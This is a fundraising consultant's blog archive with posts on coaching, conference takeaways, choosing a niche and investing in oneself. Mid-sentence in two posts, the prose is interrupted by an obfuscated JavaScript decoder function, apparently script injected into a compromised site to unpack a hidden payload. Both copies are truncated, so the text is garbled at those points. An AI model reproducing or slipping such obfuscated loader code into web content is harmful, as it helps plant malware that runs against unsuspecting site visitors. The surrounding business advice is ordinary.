It’s about much more than fundraising
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I believe we are all here on this planet to have the experiences life brings us, and to help one another.
This week, I had the chance to do both.
I was in my exhibit booth at a conference, talking with people about which of my fundraising books they should choose, when a woman walked up and sort of looked around uncomfortably, then looked me right in the eye.
She said, “I need some help,” then broke into tears.
That was not the first time someone has needed me, but it was the first time that a total stranger needed me in a public place like that. I think there must be something about me that’s very approachable or understanding or trustworthy or some combination of those.
Maybe it’s because I’ve had so much training to be a good listener or maybe it’s because I know how to connect with people on a deep level. Either way, she needed me and I knew how to be there for her.
When I looked into her eyes, I saw someone who cared deeply about what she was trying to do.
She was doing everything she could and yet still not able to quite make it work. I got it.
I asked her if we could start with a hug and she nodded. Then she cried on my shoulder.
Right there in the middle of that exhibit hall, in the middle of that conference.
Her story is not so uncommon.
She’s trying to run an animal rescue organization from her home and fund it herself.
She doesn’t really know how to do fundraising or ask for support, so she’s feeling a lot like the Lone Ranger.
I think she needed someone to care more than anything else.
So, I stood there and loved her to the best of my ability. It was an amazing experience for me.
It reminded me that at the end of the day, it isn’t really about how much I can teach you about raising money.
It’s about how much I’m there for you, supporting you, cheering you on, and helping you reach your goals.
It’s about me encouraging you and telling you how much I believe in you.
And I think we can ALL use more of that.
Challenging the status quo
When you run a business, you’re either moving forward or going backward. There is no standing still. And I'm guessing that since you're reading this, you're probably running a business.
If you think you can just go with the flow, you're in for a rude awakening. At some point, you'll find that the rest of the world has passed you by, and you've got tons of catching up to do.
I tend to move myself forward in some pretty big ways on a regular basis. That's why I invest in myself regularly with coaches and epxerts that can stretch my thinking, challenge me, and help me reach for more.
Today was one of those days where I did all of that. (And I'm a bit pooped!)
I spent today with Matthew Goldfarb at Corporate Renegade in western Massachusetts. We talked about my messaging all day (yep, you really can focus on one topic ALL DAY!). It was exciting, fun, scary, exhilarating, and productive. Matthew and his team are working on several pieces for me that I think will enable me to springboard forward in a BIG way.
While I'm waiting for Goldfarb to work his magic, I thought I'd share a couple of my takeaways from this experience with you.
1. Growth is not always convenient. Sometimes you have to get your ass on a plane and fly to some random town (and sometimes rent a car and drive forever) to get yourself in front of someone who can help you. If you think you can wait until the opportunity to learn and grow shows up your doorstep, you're sadly mistaken.
2. The sheer act of investing in yourself can move you forward. Every time I pay for coaching, I feel different. Somewhow my business feels more real and I feel more committed to it before I ever get the first piece of advice. There's just something about spending big money on myself that helps me see where my priorities are.
3. You get what you pay for. Try to take the cheap route, and you'll get cheap results. I don't know about you, but I don't want cheap for my business!
4. It's usually easier with support. I took one of my team members with me on this adventure. My right arm for the past several years has been my Marketing gal Kristina Shands. I paid for her to accompany me so she could hear first-hand what was said and be able to implement it in the work she's doing. Yes, it was an additional investment, but so worth it. Halfway through the morning, I was SO glad I brought her. Plus, we had a great time on the trip.
I'm in the habit now of regular evaluation of my business to see where I am and what I most need to learn. I'm looking for the areas where I need to improve in order to take my business to the next level. I encourage you to do the same.
Where do you need to shore up your knowledge? Accounting? Customer service? Marketing? Remember that as a consultant, you're running a business. You can't just be good at delivering the service you're here to provide. You've also got to be a good business owner, which means you must learn to wear many hats. Get really good at being a good entrepreneur and you'll be well on your way to having the business of your dreams.
What makes you different?
So you’re a nonprofit fundraising consultant? Big deal. There are thousands of others just like you.
What makes you different? What’s your movement?
If you don’t know, I suggest you get a copy of “Renegade Thoughts” by Matthew Goldfarb. 
Goldfarb is the founder of Corporate Renegade and is brilliant when it comes to marketing and messaging. He says that we should stop fitting in and start standing out. And “Renegade Thoughts” will explain how to do it.
Let me share a few of my favorite parts of the book:
- Strive to become unemployable. I’ve considered myself unemployable for years, because I refuse to compromise my standards. Turns out, I was right. Matthew says unemployable means “you value yourself too much to lower your standards for someone else.” There’s a lot of value in being very clear in your beliefs and values, and being unwilling to give in.
For example, I’m a firm believer that any nonprofit can raise all the money it needs to fulfill its mission if it follows some basic principles. The main one is that big money is raised through individuals following donor-based fundraising. Lots of people approach me wanting me to promote candy-bar sales, and the like, and I won’t do it. I’m not willing to back off my belief in exchange for a few dollars.
- Know what pisses you off. The best way to stand out is to take a stand for what you believe in. The fastest way to figure out what you stand for is to uncover what pisses you off. Anger is a strong emotion and will unleash your passion for what you really care about.
One thing that pisses me off is nonprofit leaders who won’t go for big fundraising goals because they’re scared. They are happy being mediocre instead of setting a big goal and going for it. Sometimes it’s because they are afraid of failure or of being embarrassed. At any rate, it holds the nonprofit back, and prevents programs from being started or enhanced. And that’s NOT okay with me!
- Stop Playing Small. Smallness doesn’t serve anyone. If you’re playing small, you probably know it in your heart. You know you have a big message to share with the world, and you KNOW you’re not doing all you can to get it out there.
Smallness looks like this:
- Not promoting your services because you don’t want the spotlight or you don’t want to brag.
- Not getting on a plane to go to a conference to speak because “it’s so far.”
- Talking yourself out of investing in coaching because “it’s too much money.”
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You are here on this planet to share your gifts! Are you going to play small and only serve a handful of clients, or are you going to play full-out and serve as many nonprofits as you can?
I encourage you to get a copy of “Renegade Thoughts” and visit Goldfarb’s website at www.corporaterenegade.com.
What’s your calling?
Are you doing the work you are here on this planet to do?
If you’re a heart-centered consultant, you love working in the nonprofit world. You love knowing that the work you do helps people and changes lives. You love the warmth and satisfaction you feel in your heart at the end of a well-done day.
It can be easy to pour your whole heart and soul into your work because you care that much.
But sometimes, you can get out of alignment with that calling, or worse, resist it.
If you’re like me, you know what you’re supposed to be doing, but you either get distracted, get scared, or something gets in the way.
I read a great book recently that helped me get my feet firmly planted on the path of my calling. The book is “Inspired & Unstoppable: Wildly Succeeding in Your Life’s Work” by Tama Kieves. 
In the book, Tama says “You’re meant to succeed in the work you love.” What that means is that you’re not here just to do the work, but be successful in it. You’re MEANT to do big things.
I think that I was created for exactly the work I do. Both of my grandfathers were preachers. My dad was very involved in community and charitable work. It was inevitable for me to be a trainer and fundraising coach. And if that’s my gift, why not be the best trainer and fundraising coach I can be? Why not help as many people as possible?
So how about you? How can you be the best ______ you can be? (Insert whatever you call yourself)
When I worked at the food bank, I knew that when I did my job well, people ate. At the rescue mission, I knew that my success gave people a hot meal and a roof for a night. What I did mattered.
It’s time for us to ALL step up to our calling and embrace it whole-heartedly. No more hiding. No more fear. Just playing full out.
Tama says “If you’re willing to leave the pack behind, you will come into an inspired power that will blow away your hesitations, your limits, and your training wheels.” Can you imagine what it would feel like to have an inspired power fueling you?
Let’s try it and see. The world is full of hurting people who need what we have to offer.
Creating a Movement
If you’ve ever wondered why some people seem to have all the sales they can handle while others struggle, there are reasons. It's largely about marketing (getting in front of the right people at the right time with the right offer), but it's also about movement.
My coach Suzanne Evans talks a LOT about creating a movement. It's about taking a stand for something that people can get excited about. For example, it's not enough to say to the nonprofit community "I can help you raise money." You need to tell they WHY it's important to you to help them. At Get Fully Funded, we say "we want to help you raise the money of your dreams so you can fully fund your mission." See the difference?
Watch this great video from Simon Sinek to understand this concept a bit more.
Always sharpen the saw
I’m a big believer in continuing my education.function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
I don't mean going back to school. Actually, you couldn't PAY me enough to go back to school! But I'll attend conferences and webinars and read books all the time. I love learning things that are applicable to my business.
I spent this past weekend at a conference called NAMS in Atlanta. It was my first time at this event, so I wasn't sure what to expect. As always, there's stuff to learn, people to meet, and food to eat (if you know me, you know that a visit to the Cheesecake Factory was on the agenda!!). I thought I'd share with you a few of the nuggets I took away.
In the opening session, I learned that my business style is Mentor/Creative. (No big surprise, right?) This means that I love teaching and sharing, and I'm really good at coming up with ideas. It was good affirmation that I should be leading workshops and writing books.
I was reminded by Jeff Herring that prospects are attracted to your "voice" and the way you approach and solve problems. When you blog and engage in article marketing, you're giving people a chance to get a taste of who you are and how you do what you do. Jeff also reminded us not to marketing to everyone. "Look for those mot hungry." Makes total sense to me. You can't help everyone, so why not help those who want it, need it, and are willing to pay for it?
The afternoon session, led by Karon Thackston, was about copywriting and creating personas for your target audience. I was able to sit down with Karon on day 2 and get her input on my personas to firm them up. These will become the basis for the website makeover that I'm planning for GetFullyFunded.com. When you're thinking about personas, be sure to include behavior, history, wants/needs/wishes, and struggles/issues/roadblocks in addition to demographics and psychographics. I other words, don't set your ideal client profile to "small nonprofits." Heck, there are over a million of those! Get more specific about the ideal small nonprofit. How long have they been around, what keeps them awake at night? The more you can refine this, the easier marketing gets.
On day 2, I learned a lot from Ellen Britt as she led a workshop on content marketing. She said that quality content = current, actionable, and informative. It's a good reminder that we need to provide our readers with good stuff, not just stuff. She went on to show us a 10-step process for taking one article and re-purposing it over and over to get maximum exposure from it. She included on that list sharing the article on social media, recording in and sharing on iTunes, and making PowerPoint slides and sharing on SlideShare. It's a way to reach multiple audiences with one piece of writing.
I sat in on a couple of sessions that talked about Amazon and selling ebooks for Kindle. I've resisted doing this for a while, but I finally see how this fits into my overall marketing strategy. I got lots of ideas for turning my current ebooks into Kindle and audiobooks, and gleaning other things from my current product inventory that I can monetize. I'm so excited to get some of these out there and see what happens!
I have pages and pages of notes, with action items starred and key phrases highlighted. My next step is to go back through and pull out the action items so I can work them into my calendar. This is how I make sure that I get my money's worth from the events I attend. Otherwise, it was just a fun weekend. If you and I don't implement what we learn, it's a waste of time.
How do you evaluate an opportunity?
When you’re in business, you figure out pretty fast that you can’t do everything. It takes support like accounting professionals and graphic designers and web masters to make everything happen. After all, you're an expert in nonprofit, not all that other stuff.
One of the most important people I have in my world is a coach. I'm a huge believer in having a business coach to keep me thinking BIG and moving forward. Even though part of me would love to think I can figure this out on my own, it's just not realistic. You know that saying "You can't see the forest for the trees?" Well sometimes you can't see the forest because you ARE a tree!function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
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Sometimes I hire a coach and sometimes I attend an event they're leading. Often, spending 2 or 3 days with the right coach will give me what I need for the coming months.
The downside is that these opportunities can be pricey. So, how do you decide which ones to say "yes" to?
First of all, you need to understand that saying "yes" to an event or a coaching program is saying "yes" to yourself. Look at it as an investment in your knowledge and skill. Frankly, this is the best kind of investment you can make, because once you learn something, it can never be taken away from you.
Consider this: if you want clients to invest money with you, you need to be willing to invest money in yourself. If you're considering offering a $10,000 coaching or consulting program, you need to be investing in yourself at that level. Otherwise, how will you know what it feels like to make that decision? You just can't expect others to value you more than you value yourself.
I've spent thousands and thousands on myself in the past few years. The first time I did, I was so nervous, I thought I would throw up! Making that decision to take myself the next level meant something much deeper than I realized at the time. For me personally, it was a way of showing myself that I was worth it, and honestly, it was downright scary! But I'm so glad I went for it. Coaching has given me the tools and the spark to take my business to the next level and beyond. And one of the biggest things I've learned is that my business will never grow bigger than I grow personally. Think about that!
Since then, I've learned how to take the emotion out of the decision making process, and evaluate opportunities to decide if they're right for me. Here are the top 4 things I look at:
- The coach. Is this someone I really want to learn from? Do I resonate with them? I want to be excited about being with the people I'm learning from.
- Their experience. Have they really done what their teaching? It seems out of integrity to me if they haven't. Are they actively doing what they're teaching? If they aren't, they may not be up on the latest trends and techniques.
- Their results. Have they been super successful doing what I want to do? Can I easily follow in their footsteps?
- The investment. Is the cost reasonable? Is it a good value? Am I willing to spend this much on this opportunity? And can I recover the cost quickly (within a few months) using what they teach me.
These questions help guide me to making good decisions about where to spend my time and money.
How do YOU evaluate an opportunity? Leave a comment and share your thoughts.
The Value of Products
One of the things I love most about my lifestyle business is that the model lets me serve more people than I could using a regular business model. It makes my heart sing to know that I’m helping dozens, sometimes hundreds of people at once, working less than you’d expect.
Most people who become consultants charge by the hour for services rendered. In other words, they exchange hours for dollars. Using the Lifestyle Business model, you work one-to-many instead of one-to-one. By leveraging your time and your knowledge, you can serve more people and make more money using the same (or less) amount of time.
The most common way to do this is through information or teaching products, like books, workbooks, audios, videos, or some combination of these. Products allow you to record your knowledge into a format that your audience wants, and easily sell them from your website at all hours of the day or night. Add in an automated ordering, payment, and shipping system, and you can completely remove yourself from the process. The best part is that you do the work once to create the material for the product, then you and your audience reap the benefit from now on.
And plus, it’s just so cool to add “author” to your business card!
The Riches are in the Niches
You can’t be all things to all people. In business, it’s a recipe for failure.
When you choose and clearly define a niche for your business (a small, well-defined audience to market to) marketing and everything else gets easier. For a consultant or coach to nonprofits, a niche is critical. There are over 1.5 million nonprofits in the US alone. It’s not likely that you can effectively serve them all. So figure out who you can serve well and what issue or topic you can become the known expert. For example, you might choose to work only with animal shelters. Or you might choose to serve small nonprofits undertaking capital campaigns. Usually the best niche is something you have some experience with personally.
Regardless of the niche you choose, you’ll find that marketing becomes much simpler, because the people are easier to reach in large numbers. For example, if you choose animal shelters as your niche, there are associations of animal shelters in the US, complete with conferences, websites, and newsletters (I know because I once spoke at such a conference).
Another way to think about niche is to think about the topics that set your heart on fire. What flames your passion? Do you love talking about direct mail? Or maybe grantwriting? Maybe you get crazy passionate about anything that is a ministry or supports kids. Follow your heart and your energy to discover potential niches for your business.
Regardless of the technique you use to find it, uncovering your niche is vital to your ability to create a lifestyle business.
